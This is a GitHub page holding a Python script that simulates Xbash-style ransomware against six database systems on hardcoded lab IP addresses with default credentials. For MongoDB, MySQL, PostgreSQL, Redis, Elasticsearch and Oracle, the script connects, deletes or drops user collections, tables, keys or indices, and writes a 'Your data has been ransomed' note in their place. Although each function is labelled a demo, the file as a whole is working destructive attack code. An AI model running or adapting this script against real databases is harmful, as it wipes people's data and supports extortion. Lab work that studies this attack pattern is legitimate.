-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathxbash_simulation.py
More file actions
172 lines (147 loc) · 5.13 KB
/
Copy pathxbash_simulation.py
File metadata and controls
172 lines (147 loc) · 5.13 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
import pymongo
import mysql.connector
import psycopg2
import redis
from elasticsearch import Elasticsearch
import oracledb
import logging
# Set up logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
WARNING_MESSAGE = "Your data has been ransomed"
def mongodb_demo():
"""Demonstrates MongoDB vulnerability"""
try:
client = pymongo.MongoClient("mongodb://root:example@192.168.1.11:27017/")
db = client["my_database"]
if "users" in db.list_collection_names():
db["users"].rename("WARNING")
warning_collection = db["WARNING"]
warning_collection.delete_many({})
warning_collection.insert_one({"message": WARNING_MESSAGE})
logger.info("MongoDB demo completed")
except Exception as e:
logger.error(f"MongoDB demo failed: {str(e)}")
def mysql_demo():
"""Demonstrates MySQL vulnerability"""
try:
conn = mysql.connector.connect(
host="192.168.1.12",
user="root",
password="example",
database="my_database"
)
cursor = conn.cursor()
# Drop the users table
cursor.execute("DROP TABLE IF EXISTS my_table")
# Create new WARNING table
cursor.execute("""
CREATE TABLE WARNING (
WARNING VARCHAR(255)
)
""")
# Insert the warning message
cursor.execute("INSERT INTO WARNING (WARNING) VALUES (%s)",
("Your data has been ransomed",))
conn.commit()
cursor.close()
conn.close()
logger.info("MySQL demo completed")
except Exception as e:
logger.error(f"MySQL demo failed: {str(e)}")
def postgresql_demo():
"""Demonstrates PostgreSQL vulnerability"""
try:
conn = psycopg2.connect(
host="192.168.1.13",
database="my_database",
user="postgres",
password="example"
)
cursor = conn.cursor()
# Drop the users table
cursor.execute("DROP TABLE IF EXISTS my_table")
# Create new WARNING table
cursor.execute("""
CREATE TABLE WARNING (
WARNING VARCHAR(255)
)
""")
# Insert the warning message
cursor.execute("INSERT INTO WARNING (WARNING) VALUES (%s)",
("Your data has been ransomed",))
conn.commit()
cursor.close()
conn.close()
logger.info("PostgreSQL demo completed")
except Exception as e:
logger.error(f"PostgreSQL demo failed: {str(e)}")
def redis_demo():
"""Demonstrates Redis vulnerability"""
try:
r = redis.Redis(host='192.168.1.14', port=6379, db=0)
keys = r.keys('user:*')
for key in keys:
r.delete(key)
r.set("WARNING", WARNING_MESSAGE)
logger.info("Redis demo completed")
except Exception as e:
logger.error(f"Redis demo failed: {str(e)}")
def elasticsearch_demo():
"""Demonstrates Elasticsearch vulnerability"""
try:
es = Elasticsearch(['http://192.168.1.15:9200'])
es.indices.delete(index='my_index', ignore=[400, 404])
es.indices.create(index='warning', ignore=400)
es.index(index='warning', document={'message': WARNING_MESSAGE})
logger.info("Elasticsearch demo completed")
except Exception as e:
logger.error(f"Elasticsearch demo failed: {str(e)}")
def oracle_demo():
"""Demonstrates Oracle vulnerability"""
try:
conn = oracledb.connect(
user="my_database",
password="my_password",
dsn="192.168.1.16:1521/MYDB"
)
cursor = conn.cursor()
# Drop the users table
cursor.execute("DROP TABLE IF EXISTS my_table")
# Create new WARNING table
cursor.execute("""
CREATE TABLE WARNING (
WARNING VARCHAR(255)
)
""")
#cursor.execute("RENAME users TO WARNING")
#cursor.execute("DELETE FROM WARNING")
#cursor.execute("INSERT INTO WARNING (message) VALUES (:1)", [WARNING_MESSAGE])
# Insert the warning message
cursor.execute("INSERT INTO WARNING (warning) VALUES (:1)", [WARNING_MESSAGE])
#cursor.execute("INSERT INTO WARNING (message) VALUES (:1)", [WARNING_MESSAGE])
#cursor.execute("INSERT INTO WARNING (WARNING) VALUES (%s)",
# ("Your data has been ransomed",))
conn.commit()
cursor.close()
conn.close()
logger.info("Oracle demo completed")
except Exception as e:
logger.error(f"Oracle demo failed: {str(e)}")
def run_all_demos():
"""Runs all database security demonstrations"""
demos = [
mongodb_demo,
mysql_demo,
postgresql_demo,
redis_demo,
elasticsearch_demo,
oracle_demo
]
for demo in demos:
try:
demo()
except Exception as e:
logger.error(f"Failed to run {demo.__name__}: {str(e)}")
if __name__ == "__main__":
run_all_demos()